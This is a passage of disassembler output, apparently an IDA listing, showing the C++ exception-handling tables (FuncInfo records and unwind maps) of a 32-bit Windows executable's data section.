		dd offset loc_4398AB
		dd 0
		dd offset loc_4398B6
		dd 2 dup(0)
dword_43FC58	dd 19930520h, 1, 43FC78h, 5 dup(0)		dd 0FFFFFFFFh, 4398E0h,	2 dup(0)
dword_43FC88	dd 19930520h, 1, 43FCA8h, 5 dup(0)		dd 0FFFFFFFFh, 439900h,	2 dup(0)
dword_43FCB8	dd 19930520h, 2, 43FCD8h, 5 dup(0)		dd 0FFFFFFFFh, 439920h,	0
		dd offset loc_439928
		align 10h
dword_43FCF0	dd 19930520h, 57h, 43FD10h, 5 dup(0)		dd 0FFFFFFFFh, 439940h,	0
		dd offset loc_43994B
		dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h
		dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah
		dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h,	0Dh, 4399CEh, 0Eh
		dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh,	11h, 4399FAh, 12h
		dd 439A05h, 13h, 439A10h, 14h, 439A1Bh,	15h, 439A26h, 16h
		dd 439A31h, 17h, 439A3Ch, 18h, 439A47h,	19h, 439A52h, 1Ah
		dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h,	1Dh, 439A7Eh, 1Eh
		dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh,	1Eh, 439AAAh, 1Eh
		dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh,	1Eh, 439AD6h, 1Eh
		dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h,	1Eh, 439AF7h, 1Eh
		dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh,	1Eh, 439B18h, 2Eh
		dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh,	31h, 439B39h, 1Eh
		dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh,	1Eh, 439B4Fh, 1Eh
		dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h,	1Eh, 439B70h, 3Ah
		dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h,	3Dh, 439B91h, 1Eh
		dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h,	1Eh, 439BA7h, 1Eh
		dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh,	1Eh, 439BC8h, 46h
		dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh,	49h, 439BE9h, 1Eh
		dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh,	1Eh, 439BFFh, 1Eh
		dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h,	1Eh, 439C20h, 52h
		dd 439C2Bh, 53h, 439C36h, 54h, 439C41h,	55h, 439C4Ch, 13h dup(0)
		dd offset off_444890
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	437AF0h, 2 dup(0)
		dd offset off_4448B0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F1Ah, 2 dup(0)
		dd offset off_4448D8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F20h, 0
dword_440070	dd 3, 440050h, 440030h,	440010h, 2 dup(0)dword_440088	dd 0							; ___:0040AA67o
		dd offset dword_437EC4+62h
		dd 0
		dd offset dword_440070
		align 10h
dword_4400A0	dd 19930520h, 1, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	2 dup(0)
dword_4400D0	dd 19930520h, 1, 4400F0h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	2 dup(0)
dword_440100	dd 19930520h, 3, 440120h, 5 dup(0)		dd 0FFFFFFFFh, 439D70h,	0
		dd offset loc_439D87
		dd 1, 439D8Fh, 2 dup(0)
dword_440140	dd 19930520h, 1, 440160h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440170	dd 19930520h, 2, 440190h, 1, 4401A0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 4401B8h, 4	dup(0)
		dd offset sub_40AF22
		align 10h
dword_4401D0	dd 19930520h, 2, 4401F0h, 1, 440200h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 440218h, 4	dup(0)
		dd offset sub_40B0A1
		align 10h
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439DF0h,	0
		dd offset loc_439DFB
		dd 1, 439E06h, 2, 439E11h, 2 dup(0)
dword_440278	dd 19930520h, 4, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439E40h,	0
		dd offset loc_439E4B
		dd 1, 439E56h, 2, 439E61h, 2 dup(0)
dword_4402C0	dd 19930520h, 3, 4402E0h, 5 dup(0)		dd 0FFFFFFFFh, 439E90h,	0FFFFFFFFh, 439E98h, 0FFFFFFFFh
		dd 439EA0h, 2 dup(0)
dword_440300	dd 19930520h, 3, 440320h, 5 dup(0)		dd 0FFFFFFFFh, 439EC0h,	0
		dd offset loc_439EC8
		dd 1, 439ED0h, 2 dup(0)
dword_440340	dd 19930520h, 1, 440360h, 5 dup(0)		dd 0FFFFFFFFh, 439EF0h,	2 dup(0)
dword_440370	dd 19930520h, 4, 440390h, 5 dup(0)		dd 0FFFFFFFFh, 439F10h,	0FFFFFFFFh, 439F18h, 0FFFFFFFFh
		dd 439F20h, 2, 439F28h,	2 dup(0)
dword_4403B8	dd 19930520h, 1, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439F50h,	2 dup(0)
dword_4403E8	dd 19930520h, 4, 440408h, 5 dup(0)		dd 0FFFFFFFFh, 439F70h,	0
		dd offset loc_439F7B
		dd 0
		dd offset loc_439F86
		dd 2, 439F91h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439FC0h,	2 dup(0)
dword_440460	dd 19930520h, 5, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439FE0h,	0
		dd offset loc_439FEB
		dd 0
		dd offset loc_439FF6
		dd 0
		dd offset loc_43A001
		dd 0
		dd offset loc_43A00C
		align 10h
dword_4404B0	dd 19930520h, 2, 4404D0h, 5 dup(0)		dd 0FFFFFFFFh, 43A040h,	0
		dd offset loc_43A04B
		dd 2 dup(0)
dword_4404E8	dd 19930520h, 2, 440508h, 5 dup(0)		dd 0FFFFFFFFh, 43A070h,	0
		dd offset loc_43A07B
		align 10h
dword_440520	dd 19930520h, 4, 440540h, 5 dup(0)		dd 0FFFFFFFFh, 43A0A0h,	0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh
		dd 43A0B0h, 0FFFFFFFFh,	43A0B8h, 2 dup(0)
dword_440568	dd 19930520h, 8, 440588h, 5 dup(0)		dd 0FFFFFFFFh, 43A0E0h,	0
		dd offset loc_43A0EB
		dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h
		dd 1, 43A12Dh, 4 dup(0)
dword_4405D8	dd 19930520h, 0Dh, 4405F8h, 5 dup(0)		dd 0FFFFFFFFh, 43A160h,	0FFFFFFFFh, 43A16Bh, 1,	43A176h
		dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh
		dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh
		dd 43A1E4h, 4 dup(0)
dword_440670	dd 19930520h, 6, 440690h, 5 dup(0)		dd 0FFFFFFFFh, 43A220h,	0
		dd offset loc_43A228
		dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0)
dword_4406C8	dd 19930520h, 6, 4406E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A270h,	0
		dd offset loc_43A278
		dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0)
dword_440720	dd 19930520h, 3, 440740h, 5 dup(0)		dd 0FFFFFFFFh, 43A2C0h,	0
		dd offset loc_43A2C8
		dd 1, 43A2D0h, 2 dup(0)
dword_440760	dd 19930520h, 1, 440780h, 5 dup(0)		dd 0FFFFFFFFh, 43A2F0h,	2 dup(0)
dword_440790	dd 19930520h, 7, 4407B0h, 5 dup(0)		dd 0FFFFFFFFh, 43A310h,	0
		dd offset loc_43A318
		dd 0FFFFFFFFh, 43A320h,	0FFFFFFFFh, 43A328h, 3,	43A330h
		dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0)
dword_4407F0	dd 19930520h, 24h, 440810h, 5 dup(0)		dd 0FFFFFFFFh, 43A370h,	0
		dd offset loc_43A378
		dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h
		dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah
		dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h,	0Dh, 43A425h, 0Eh
		dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh,	11h, 43A45Dh, 11h
		dd 43A465h, 11h, 43A46Dh, 11h, 43A475h,	11h, 43A47Dh, 11h
		dd 43A485h, 11h, 43A48Dh, 11h, 43A495h,	11h, 43A49Dh, 11h
		dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h,	11h, 43A4BDh, 11h
		dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h,	11h, 43A4DDh, 11h
		dd 43A4E5h, 8 dup(0)
dword_440950	dd 19930520h, 38h, 440970h, 5 dup(0)		dd 0FFFFFFFFh, 43A560h,	0
		dd offset loc_43A56B
		dd 1, 43A576h, 0
		dd offset loc_43A581
		dd 0
		dd offset loc_43A58C
		dd 0
		dd offset loc_43A597
		dd 0
		dd offset loc_43A5A2
		dd 0
		dd offset loc_43A5AD
		dd 0
		dd offset loc_43A5B8
		dd 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0A5h, 43h, 0
		dd 9, 43A5CEh, 0
		dd offset loc_43A5D9
		dd 0
		dd offset loc_43A5E4
		dd 0
		dd offset loc_43A5EF
		dd 0
		dd offset loc_43A5FA
		dd 0Eh,	43A605h, 0Eh, 43A613h, 0Eh, 43A621h, 0Eh, 43A62Ch
		dd 0Eh,	43A63Ah, 0Eh, 43A648h, 0Eh, 43A653h, 0Eh, 43A65Eh
		dd 0
		dd offset loc_43A669
		dd 0
		dd offset loc_43A674
		dd 0
		dd offset loc_43A682
		dd 0
		dd offset loc_43A690
		dd 1Ah,	43A69Bh, 1Bh, 43A6A6h, 0
		dd offset loc_43A6B1
		dd 1Dh,	43A6BCh, 0
		dd offset loc_43A6C7
		dd 1Fh,	43A6D2h, 0
		dd offset loc_43A6DD
		dd 0
		dd offset loc_43A6E8
		dd 0
		dd offset loc_43A6F3
		dd 0
		dd offset loc_43A6FE
		dd 0
		dd offset loc_43A709
		dd 25h,	43A714h, 26h, 43A71Fh, 0
		dd offset loc_43A71F
		dd 28h,	43A714h, 0
		dd offset loc_43A72A
		dd 0
		dd offset loc_43A735
		dd 2Bh,	43A740h, 2Ch, 43A74Bh, 0
		dd offset loc_43A74B
		dd 2Eh,	43A740h, 2Eh, 43A756h, 0
		dd offset loc_43A761
		dd 31h,	43A76Ch, 0
		dd offset loc_43A777
		dd 0
		dd offset loc_43A782
		dd 34h,	43A78Dh, 35h, 43A798h, 34h, 43A798h, 0Ch dup(0)
dword_440B60	dd 19930520h, 0Ah, 440B80h, 5 dup(0)		dd 0FFFFFFFFh, 43A840h,	0FFFFFFFFh, 43A848h, 0FFFFFFFFh
		dd 43A850h, 0FFFFFFFFh,	43A858h, 0FFFFFFFFh, 43A860h, 0FFFFFFFFh
		dd 43A868h, 0FFFFFFFFh,	43A870h, 0FFFFFFFFh, 43A878h, 0FFFFFFFFh
		dd 43A880h, 0FFFFFFFFh,	43A888h, 4 dup(0)
dword_440BE0	dd 19930520h, 0Eh, 440C00h, 5 dup(0)		dd 0FFFFFFFFh, 43A8B0h,	0
		dd offset loc_43A8B8
		dd 0FFFFFFFFh, 43A8C3h,	0FFFFFFFFh, 43A8CBh, 0FFFFFFFFh
		dd 43A8D3h, 0FFFFFFFFh,	43A8DBh, 5, 43A8E6h, 0FFFFFFFFh
		dd 43A8EEh, 0FFFFFFFFh,	43A8F6h, 0FFFFFFFFh, 43A8FEh, 9
		dd 43A909h, 0FFFFFFFFh,	43A911h, 0Bh, 43A919h, 0Ch, 43A921h
		dd 4 dup(0)
dword_440C80	dd 19930520h, 2, 440CA0h, 5 dup(0)		dd 0FFFFFFFFh, 43A968h,	0
		dd offset loc_43A960
		dd 2 dup(0)
dword_440CB8	dd 19930520h, 2, 440CD8h, 5 dup(0)		dd 0FFFFFFFFh, 43A9A0h,	0
		dd offset loc_43A9A8
		align 10h
dword_440CF0	dd 19930520h, 11h, 440D10h, 5 dup(0)		dd 0FFFFFFFFh, 43A9C0h,	0
		dd offset loc_43A9C8
		dd 1, 43A9D3h, 2, 43A9DEh, 3, 43A9E9h, 4, 43A9F7h, 5, 43AA05h
		dd 6, 43AA13h, 7, 43AA21h, 8, 43AA2Fh, 9, 43AA3Dh, 0Ah
		dd 43AA4Bh, 0Bh, 43AA59h, 0Ch, 43AA67h,	0Dh, 43AA75h, 0Eh
		dd 43AA83h, 0Fh, 43AA91h, 4 dup(0)
dword_440DA8	dd 19930520h, 1, 440DC8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAF0h,	2 dup(0)
dword_440DD8	dd 19930520h, 1, 440DF8h, 5 dup(0)		dd 0FFFFFFFFh, 43AB10h,	2 dup(0)
dword_440E08	dd 19930520h, 6, 440E28h, 5 dup(0)		dd 0FFFFFFFFh, 43AB30h,	0
		dd offset loc_43AB38
		dd 1, 43AB43h, 2, 43AB4Eh, 3, 43AB59h, 4, 43AB64h, 2 dup(0)
dword_440E60	dd 19930520h, 6, 440E80h, 5 dup(0)		dd 0FFFFFFFFh, 43AB90h,	0
		dd offset loc_43AB98
		dd 1, 43ABA3h, 2, 43ABAEh, 3, 43ABB9h, 4, 43ABC4h, 2 dup(0)
dword_440EB8	dd 19930520h, 1, 440ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43ABF0h,	2 dup(0)
dword_440EE8	dd 19930520h, 7, 440F08h, 5 dup(0)		dd 0FFFFFFFFh, 43AC10h,	0
		dd offset loc_43AC18
		dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h
		dd 2 dup(0)
dword_440F48	dd 19930520h, 4, 440F68h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	0
		dd offset loc_43AC7B
		dd 1, 43AC86h, 2, 43AC91h, 2 dup(0)
dword_440F90	dd 19930520h, 4, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 43h, 0
		dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0)
dword_440FD8	dd 19930520h, 2, 440FF8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD10h,	0FFFFFFFFh, 43AD18h, 2 dup(0)
dword_441010	dd 19930520h, 1, 441030h, 5 dup(0)		dd 0FFFFFFFFh, 43AD30h,	2 dup(0)
dword_441040	dd 19930520h, 1, 441060h, 5 dup(0)		dd 0FFFFFFFFh, 43AD50h,	2 dup(0)
dword_441070	dd 19930520h, 2, 441090h, 5 dup(0)		dd 0FFFFFFFFh, 43AD70h,	0
		dd offset loc_43AD78
		dd 2 dup(0)
dword_4410A8	dd 19930520h, 3, 4410C8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0
		dd offset loc_43AD98
		dd 1, 43ADA3h, 2 dup(0)
dword_4410E8	dd 19930520h, 3, 441108h, 5 dup(0)		dd 0FFFFFFFFh, 43ADD0h,	0
		dd offset loc_43ADD8
		dd 1, 43ADE0h, 2 dup(0)
dword_441128	dd 19930520h, 1, 441148h, 5 dup(0)		dd 0FFFFFFFFh, 43AE00h,	2 dup(0)
dword_441158	dd 19930520h, 4, 441178h, 5 dup(0)		dd 0FFFFFFFFh, 43AE20h,	0
		dd offset loc_43AE28
		dd 0
		dd offset loc_43AE30
		dd 0
		dd offset loc_43AE3B
		align 10h
dword_4411A0	dd 19930520h, 6, 4411C0h, 5 dup(0)		dd 0FFFFFFFFh, 43AE60h,	0
		dd offset loc_43AE68
		dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0)
dword_4411F8	dd 19930520h, 3, 441218h, 5 dup(0)		dd 0FFFFFFFFh, 43AEB0h,	0
		dd offset loc_43AEBB
		dd 1, 43AEC6h, 2 dup(0)
dword_441238	dd 19930520h, 4, 441258h, 5 dup(0)		dd 0FFFFFFFFh, 43AEF0h,	0
		dd offset loc_43AEF8
		dd 1, 43AF00h, 2, 43AF08h, 2 dup(0)
dword_441280	dd 19930520h, 5, 4412A0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF30h,	0
		dd offset loc_43AF38
		dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0)
dword_4412D0	dd 19930520h, 4, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AF80h,	0
		dd offset loc_43AF88
		dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0)
dword_441318	dd 19930520h, 3, 441338h, 5 dup(0)		dd 0FFFFFFFFh, 43AFC0h,	0
		dd offset loc_43AFC8
		dd 1, 43AFD0h, 2 dup(0)
dword_441358	dd 19930520h, 1, 441378h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	2 dup(0)
dword_441388	dd 19930520h, 2, 4413A8h, 5 dup(0)		dd 0FFFFFFFFh, 43B010h,	0
		dd offset loc_43B018
		align 10h
dword_4413C0	dd 19930520h, 2, 4413E0h, 5 dup(0)		dd 0FFFFFFFFh, 43B030h,	0
		dd offset loc_43B038
		dd 2 dup(0)
dword_4413F8	dd 19930520h, 3, 441418h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B05B
		dd 1, 43B066h, 2 dup(0)
dword_441438	dd 19930520h, 1, 441458h, 5 dup(0)		dd 0FFFFFFFFh, 43B090h,	2 dup(0)
dword_441468	dd 19930520h, 1, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	2 dup(0)
dword_441498	dd 19930520h, 4, 4414B8h, 5 dup(0)		dd 0FFFFFFFFh, 43B0D0h,	0
		dd offset loc_43B0D8
		dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0)
dword_4414E0	dd 19930520h, 7, 441500h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2, 43B128h,	3, 43B130h, 4, 43B138h,	0FFFFFFFFh
		dd 43B140h, 2 dup(0)
dword_441540	dd 19930520h, 1Bh, 441560h, 5 dup(0)		dd 0FFFFFFFFh, 43B170h,	0
		dd offset loc_43B178
		dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh
		dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah
		dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh,	0Dh, 43B22Bh, 0Eh
		dd 43B239h, 0Fh, 43B247h, 10h, 43B255h,	11h, 43B263h, 12h
		dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh,	15h, 43B29Bh, 16h
		dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h,	19h, 43B2D3h, 6	dup(0)
dword_441650	dd 19930520h, 1Bh, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B350h,	0
		dd offset loc_43B358
		dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh
		dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah
		dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh,	0Dh, 43B40Bh, 0Eh
		dd 43B419h, 0Fh, 43B427h, 10h, 43B435h,	11h, 43B443h, 12h
		dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh,	15h, 43B47Bh, 16h
		dd 43B489h, 17h, 43B497h, 18h, 43B4A5h,	19h, 43B4B3h, 6	dup(0)
dword_441760	dd 19930520h, 1, 441780h, 5 dup(0)		dd 0FFFFFFFFh, 43B530h,	2 dup(0)
dword_441790	dd 19930520h, 3Dh, 4417B0h, 5 dup(0)		dd 0FFFFFFFFh, 43B550h,	0
		dd offset loc_43B55B
		dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh
		dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah
		dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h,	0Dh, 43B60Eh, 0Eh
		dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h,	11h, 43B646h, 12h
		dd 43B654h, 13h, 43B662h, 14h, 43B670h,	15h, 43B67Eh, 16h
		dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h,	19h, 43B6B6h, 1Ah
		dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h,	1Dh, 43B6EEh, 1Eh
		dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h,	21h, 43B726h, 22h
		dd 43B734h, 23h, 43B742h, 24h, 43B750h,	25h, 43B75Eh, 26h
		dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h,	29h, 43B796h, 2Ah
		dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h,	2Dh, 43B7CEh, 2Eh
		dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h,	31h, 43B806h, 32h
		dd 43B814h, 33h, 43B822h, 34h, 43B830h,	35h, 43B83Eh, 36h
		dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h,	39h, 43B876h, 3Ah
		dd 43B884h, 3Bh, 43B892h, 0Eh dup(0)
dword_4419D0	dd 19930520h, 4, 4419F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B980h,	0
		dd offset loc_43B98B
		dd 1, 43B996h, 2, 43B9A1h, 2 dup(0)
dword_441A18	dd 19930520h, 6, 441A38h, 5 dup(0)		dd 0FFFFFFFFh, 43B9D0h,	0
		dd offset loc_43B9DB
		dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0)
dword_441A70	dd 19930520h, 4, 441A90h, 5 dup(0)		dd 0FFFFFFFFh, 43BA40h,	0
		dd offset loc_43BA4E
		dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0)
dword_441AB8	dd 19930520h, 5, 441AD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BAA0h,	0
		dd offset loc_43BAAB
		dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0)
dword_441B08	dd 19930520h, 5, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	0
		dd offset loc_43BB0B
		dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0)
dword_441B58	dd 19930520h, 1, 441B78h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441B88	dd 19930520h, 1, 441BA8h, 5 dup(0)		dd 0FFFFFFFFh, 43BB80h,	2 dup(0)
dword_441BB8	dd 19930520h, 1, 441BD8h, 5 dup(0)		dd 0FFFFFFFFh, 43BBA0h,	2 dup(0)
dword_441BE8	dd 19930520h, 2, 441C08h, 5 dup(0)		dd 0FFFFFFFFh, 43BBC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BBh, 43h, 0
		align 10h
dword_441C20	dd 19930520h, 4, 441C40h, 5 dup(0)		dd 0FFFFFFFFh, 43BBF0h,	0
		dd offset loc_43BBFB
		dd 1, 43BC06h, 2, 43BC11h, 2 dup(0)
dword_441C68	dd 19930520h, 4, 441C88h, 5 dup(0)		dd 0FFFFFFFFh, 43BC40h,	0
		dd offset loc_43BC4B
		dd 1, 43BC56h, 2, 43BC61h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43BC90h,	0
		dd offset loc_43BC9B
		dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0)
dword_441D08	dd 19930520h, 4, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43BD00h,	0
		dd offset loc_43BD0E
		dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0)
dword_441D50	dd 19930520h, 5, 441D70h, 5 dup(0)		dd 0FFFFFFFFh, 43BD60h,	0
		dd offset loc_43BD6B
		dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0)
dword_441DA0	dd 19930520h, 5, 441DC0h, 5 dup(0)		dd 0FFFFFFFFh, 43BDC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0BDh, 43h, 0
		dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0)
dword_441DF0	dd 19930520h, 1, 441E10h, 5 dup(0)		dd 0FFFFFFFFh, 43BE20h,	2 dup(0)
dword_441E20	dd 19930520h, 1, 441E40h, 5 dup(0)		dd 0FFFFFFFFh, 43BE40h,	2 dup(0)
dword_441E50	dd 19930520h, 1, 441E70h, 5 dup(0)		dd 0FFFFFFFFh, 43BE60h,	2 dup(0)
dword_441E80	dd 19930520h, 2, 441EA0h, 5 dup(0)		dd 0FFFFFFFFh, 43BE80h,	0
		dd offset loc_43BE8B
		dd 2 dup(0)
dword_441EB8	dd 19930520h, 4, 441ED8h, 5 dup(0)		dd 0FFFFFFFFh, 43BEB0h,	0
		dd offset loc_43BEBB
		dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0)
dword_441F00	dd 19930520h, 1, 441F20h, 5 dup(0)		dd 0FFFFFFFFh, 43BF00h,	2 dup(0)
dword_441F30	dd 19930520h, 2, 441F50h, 5 dup(0)		dd 0FFFFFFFFh, 43BF20h,	0
		dd offset loc_43BF2B
		dd 2 dup(0)
dword_441F68	dd 19930520h, 1, 441F88h, 5 dup(0)		dd 0FFFFFFFFh, 43BF50h,	2 dup(0)
dword_441F98	dd 19930520h, 3, 441FB8h, 5 dup(0)		dd 0FFFFFFFFh, 43BF70h,	0FFFFFFFFh, 43BF7Bh, 1,	43BF86h
		dd 2 dup(0)
dword_441FD8	dd 19930520h, 1, 441FF8h, 5 dup(0)		dd 0FFFFFFFFh, 43BFB0h,	2 dup(0)
dword_442008	dd 19930520h, 1, 442028h, 5 dup(0)		dd 0FFFFFFFFh, 43BFD0h,	2 dup(0)
dword_442038	dd 19930520h, 3, 442058h, 5 dup(0)		dd 0FFFFFFFFh, 43BFF0h,	0
		dd offset loc_43C007
		dd 1, 43C00Fh, 2 dup(0)
dword_442078	dd 19930520h, 1, 442098h, 5 dup(0)		dd 0FFFFFFFFh, 43C030h,	2 dup(0)
dword_4420A8	dd 19930520h, 4, 4420C8h, 5 dup(0)		dd 0FFFFFFFFh, 43C058h,	0
		dd offset sub_43C050
		dd 0
		dd offset loc_43C06F
		dd 2, 43C077h, 2 dup(0)
dword_4420F0	dd 19930520h, 6, 442110h, 5 dup(0)		dd 0FFFFFFFFh, 43C0A0h,	0FFFFFFFFh, 43C0A8h, 0FFFFFFFFh
		dd 43C0B0h, 0FFFFFFFFh,	43C0B8h, 0FFFFFFFFh, 43C0C0h, 0FFFFFFFFh
		dd 43C0C8h, 2 dup(0)
dword_442148	dd 19930520h, 1Ah, 442168h, 5 dup(0)		dd 0FFFFFFFFh, 43C0F0h,	0
		dd offset loc_43C0FB
		dd 1, 43C106h, 2, 43C111h, 3, 43C11Ch, 4, 43C127h, 5, 43C12Fh
		dd 5, 43C13Ah, 5, 43C145h, 5, 43C153h, 5, 43C15Eh, 5, 43C169h
		dd 5, 43C177h, 5, 43C182h, 5, 43C18Dh, 5, 43C198h, 5, 43C1A6h
		dd 5, 43C1B1h, 5, 43C1BCh, 5, 43C1CAh, 5, 43C1D5h, 5, 43C1E0h
		dd 5, 43C1EEh, 5, 43C1F9h, 5, 43C204h, 5, 43C20Fh, 6 dup(0)
dword_442250	dd 19930520h, 4, 442270h, 5 dup(0)		dd 0FFFFFFFFh, 43C280h,	0
		dd offset loc_43C288
		dd 1, 43C293h, 2, 43C29Eh, 2 dup(0)
dword_442298	dd 19930520h, 4, 4422B8h, 5 dup(0)		dd 0FFFFFFFFh, 43C2C0h,	0
		dd offset loc_43C2C8
		dd 1, 43C2D3h, 2, 43C2DEh, 2 dup(0)
dword_4422E0	dd 19930520h, 6, 442300h, 5 dup(0)		dd 0FFFFFFFFh, 43C300h,	0
		dd offset loc_43C308
		dd 1, 43C313h, 2, 43C31Eh, 3, 43C329h, 4, 43C334h, 2 dup(0)
dword_442338	dd 19930520h, 6, 442358h, 5 dup(0)		dd 0FFFFFFFFh, 43C360h,	0FFFFFFFFh, 43C36Bh, 0FFFFFFFFh
		dd 43C376h, 2, 43C381h,	3, 43C38Ch, 2, 43C397h,	2 dup(0)
dword_442390	dd 19930520h, 3, 4423B0h, 5 dup(0)		dd 0FFFFFFFFh, 43C3C0h,	0FFFFFFFFh, 43C3C8h, 0FFFFFFFFh
		dd 43C3D0h, 2 dup(0)
